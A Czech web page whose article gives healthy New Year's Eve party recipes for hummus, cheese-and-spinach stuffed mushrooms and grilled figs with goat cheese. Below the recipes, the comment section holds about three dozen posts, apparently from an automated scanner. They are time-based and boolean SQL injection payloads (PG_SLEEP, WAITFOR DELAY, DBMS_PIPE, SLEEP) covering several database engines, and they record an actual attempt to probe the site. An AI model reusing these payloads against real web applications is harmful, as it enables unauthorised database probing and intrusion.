Nápověda


Nevíte si s něčím rady? Kontaktujte nás, rádi Vám pomůžeme.

 
 

Silvestr jde slavit i zdravě

Hlasovat Hlasovat Hlasovat Hlasovat Hlasovat
1 5

Obrázek

Dělá se vám nevolno při představě, že po všem tom vánočním cukroví na vaši linii zaútočí ještě silvestrovské chlebíčky, křupky a chipsy? Pak vězte, že Silvestr můžete oslavit dobrým jídlem, aniž byste přibírali na váze. Stačí jen vědět, jaké pohoštění připravit. A my vám to řekneme.

Při přípravě zdravého silvestrovského občerstvení zapomeňte na majonézu, bílou mouku a všechno smažené. Podávejte hodně zeleniny, kvalitní bílkoviny a jídlo připravujte z výchozích surovin, snažte se nepoužívat žádné polotovary. Zde je několik skvělých, zdravých a chutných receptů, které stojí za vyzkoušení.

Hummus

  • 1 konzerva cizrny (i s nálevem)

  • 1 stroužek česneku

  • 2 lžíce sezamové pasty tahini

  • 2 lžíce olivového oleje

  • šťáva z ½ citronu

  • sůl

  • pepř

Cizrnu scedíme a nálev si ponecháme stranou. Česnek oloupeme a utřeme. Do mixéru vložíme česnek, cizrnu, tahini, sůl, pepř a trochu citronové šťávy a rozmixujeme. Přilijeme asi čtvrtinu uschovaného nálevu a znovu promixujeme. Pokud je hummus stále moc hutný, přidáme další čtvrtinu nálevu a rozmixujeme. Až získáme požadovanou konzistenci, hummus ochutnáme a dochutíme solí, pepřem a citronovou šťávou dle libosti. Hummus přemístíme do mističky nebo na talířek, na nichž budeme pokrm servírovat, a přelijeme olivovým olejem.

TIP: Hummus se skvěle hodí k namáčení syrové zeleniny. Proto k němu podávejte na hranolky nakrájenou mrkev, papriku, řapíkatý celer a okurku. Pokud máte po ruce pečené batáty nebo dýni, určitě je neváhejte hostům rovněž nabídnout.

Žampiony plněné sýrem a špenátem

  • 500 g čerstvých žampionů

  • 200 g ricotty

  • 40 g parmezánu

  • 4 zelené olivy

  • 4 hrsti čerstvého listového špenátu

  • ½ lžičky provensálských bylinek

  • sůl

  • pepř

Žampiony oloupeme a vylámeme nožičky. Olivy nadrobno nasekáme a smícháme s ricottou, 20 g strouhaného parmezánu a opraným listovým špenátem. Směs ochutíme provensálskými bylinkami, solí a pepřem. Žampiony rozložíme na plech vyložený pečicím papírem lupeny navrch, do každého kloboučku dáme špenátovou směs a navrchu posypeme zbylým strouhaným parmezánem. Pečeme v troubě vyhřáté na 180 °C asi 20 minut nebo dokud nejsou žampiony opečené.

Grilované fíky s kozím sýrem

  • 50 g čerstvého kozího sýra

  • 12 čerstvých fíků

  • 2 lžičky medu

  • 1 lžíce mléka

  • snítka čerstvého tymiánu

Kozí sýr dobře promícháme s mlékem, medem a nasekaným tymiánem. Fíky omyjeme, rozkrojíme a řeznou stranou položíme na gril. Až budou fíky ogrilované, sejmeme je z grilu, položíme je na talířky či tácky opečenou stranou nahoru a poklademe sýrovou směsí. Ihned podáváme.

 

Komentáře

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

8g4JGO2o')) OR 518=(SELECT 518 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

d1L37MUP') OR 370=(SELECT 370 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

kkdabMeC' OR 310=(SELECT 310 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1)) OR 761=(SELECT 761 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-5) OR 649=(SELECT 649 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-5 OR 306=(SELECT 306 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

xULCHYL3'; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

1 waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1); waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

if(now()=sysdate(),sleep(15),0)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3*2>(0+5+233-233) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3*2<(0+5+233-233) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3+233-233-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 2+233-233-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2>(0+5+42-42) or 'tul2S6Vo'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2<(0+5+42-42) or 'tul2S6Vo'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3+42-42-1=0+0+0+1 or 'tul2S6Vo'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 2+42-42-1=0+0+0+1 or 'tul2S6Vo'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2>(0+5+722-722) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2<(0+5+722-722) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3+722-722-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 2+722-722-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2>(0+5+696-696)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2<(0+5+696-696)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3+696-696-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 2+696-696-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2>(0+5+222-222) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2<(0+5+222-222) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3+222-222-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 2+222-222-1=0+0+0+1 --

Zdravotní kalkulačka

:
: